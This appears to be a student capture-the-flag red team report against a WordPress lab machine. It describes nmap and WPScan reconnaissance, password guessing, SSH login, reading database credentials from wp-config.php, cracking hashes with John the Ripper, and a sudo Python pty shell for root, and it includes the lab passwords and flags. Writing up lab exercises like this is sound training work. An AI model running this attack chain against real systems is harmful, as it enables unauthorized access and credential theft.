**Red Team: Summary of Operations**

**Table of Contents**

* Exposed Services
* Critical Vulnerabilities
* Exploitation

**Exposed Services**

Nmap scan results for each machine reveal the below services and OS details:

Command: nmap -Sv 192.168.1.110

Text

Description automatically generated

This scan identifies the services below as potential points of entry:

-Target 1

* Port 22/TCP
* Port 80/TCP Open HTTP
* Port 111/TCP Open rcpbind
* Port 139/TCP Open netbios-ssn
* Port 445/TCP Open netbios-ssn

**Critical Vulnerabilities**

The following vulnerabilities were identified on each target:

Target 1

1. Weak User Password
2. Unsalted User Password Hash (WordPress)
3. Misconfiguration of User Privileges
4. User Enumeration (WordPress)

**Exploitation**

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

* Target 1
  + flag1.txt: Flag1: b9bbcb33ellb80be759c4e844862482d
    - **Exploit Used**
      * *Used the WPScan for Target 1*

Text

Description automatically generated

* Command that I used: wpscan –url 192.168.1.110/wordpress
* Targeting Michael

1. I Guessed Michael’s password would be his name. His password was weak and noticeable.

* Captured Flag 1

1. Used commands ssh [michael@192.168.1.110](mailto:michael@192.168.1.110)
2. pw: Michael
3. cd ../
4. cd../
5. cd var/www/html
6. ls -l
7. nano service.html



Text

Description automatically generated



* flag2.txt: **fc3fd58dcdad9ab23faca6e9a3e581c**
  + - **Exploit Used**

1. Used the same exploits for flag 1

A screen shot of a computer

Description automatically generated with medium confidence

Text

Description automatically generated

Flag3: afc01ab56b50591e7dccf93122770cd2

Exploits Used:

* Once having found the wp-config.php file and was able to gain access to the database credentials as the user Michael, I then activated the MySQL was used to explore the database.
* Flag 3 was found in the wp\_posts table in the WordPress database.

Text

Description automatically generated



Flag4: 715dea6c055b9fe3337544932f2941ce

Exploits Used:

* I went ahead and used the unsalted password hash and the use of privilege escalation with the Python application.
* Once I was able to gain access to the database credentials as Michael from the wp-config.php file, lifting username and password hashes using MySQL was next.
* Usernames and the password hashes were saved to the Kali machine in a file called wp\_hashes.txt.

Text

Description automatically generated

Text

Description automatically generated

* On the Kali machine, I was able to run the John the Ripper command against the wp\_hashes.txt to crack the hashes.
  + Command:
    - john wp\_hashes.txt

Graphical user interface, text

Description automatically generated



Once Steven’s password hash was cracked by the John the Ripper application, the next thing to do was SSH as the user Steven. Then as Steven, I checked for the privilege escalating to root user with Python application.

* Commands:

1. ssh steven@192.168.1.110
2. pw:pink84
3. sudo -l
4. sudo python -c ‘import pty;pty.spawn(“/bin/bash”)’
5. cd /root
6. ls
7. cat flag4.txt

Text

Description automatically generated

Graphical user interface, text, application

Description automatically generated